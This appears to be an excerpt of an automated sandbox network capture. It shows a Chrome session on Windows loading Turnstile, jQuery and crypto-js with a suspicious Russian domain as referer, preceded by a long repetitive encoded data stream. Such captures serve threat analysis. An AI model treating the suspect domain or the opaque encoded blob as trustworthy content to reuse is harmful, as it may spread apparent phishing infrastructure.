4Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g776g44Wk
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 6g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk7
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: k776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g776g776g44Wk776g44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk776g776g776g44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk44
2025-03-07 09:14:18 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44Wk776g776
2025-03-07 09:14:18 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 76g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49741	104.18.94.41	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:21 UTC	660	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:22 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 07 Mar 2025 09:14:21 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 91c8fb6ee9dceae2-ORD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49740	151.101.130.137	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:21 UTC	619	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:22 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 07 Mar 2025 09:14:21 GMT Age: 2580464 X-Served-By: cache-lga21931-LGA, cache-chi-kigq8000119-CHI X-Cache: HIT, HIT X-Cache-Hits: 9, 1158 X-Timer: S1741338862.925007,VS0,VE0 Vary: Accept-Encoding
2025-03-07 09:14:22 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-07 09:14:22 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-07 09:14:22 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-07 09:14:23 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-07 09:14:23 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-07 09:14:23 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49742	104.17.24.14	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:21 UTC	647	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:23 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1349811 Expires: Wed, 25 Feb 2026 09:14:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WM5b7d77f1zOf6138UZSoocoAfmU1I1Ip%2BPrS2bsQCY1jjpQgkz2oSxR%2BaPoB6wiyzvuPFjxuO3EbaSQ72K%2FzOXs5cKCxEH6NM9uFI%2Fj4aMBMhxNXE%2Byh9PJAJgdewAVvA1LTcty"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c8fb726d2d9126-ORD alt-svc: h3=":443"; ma=86400
2025-03-07 09:14:23 UTC	406	IN	Data Raw: 37 62 65 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bee!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 Data Ascii: ypeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 Data Ascii: one.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomB
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 Data Ascii: ==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 Data Ascii: for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3
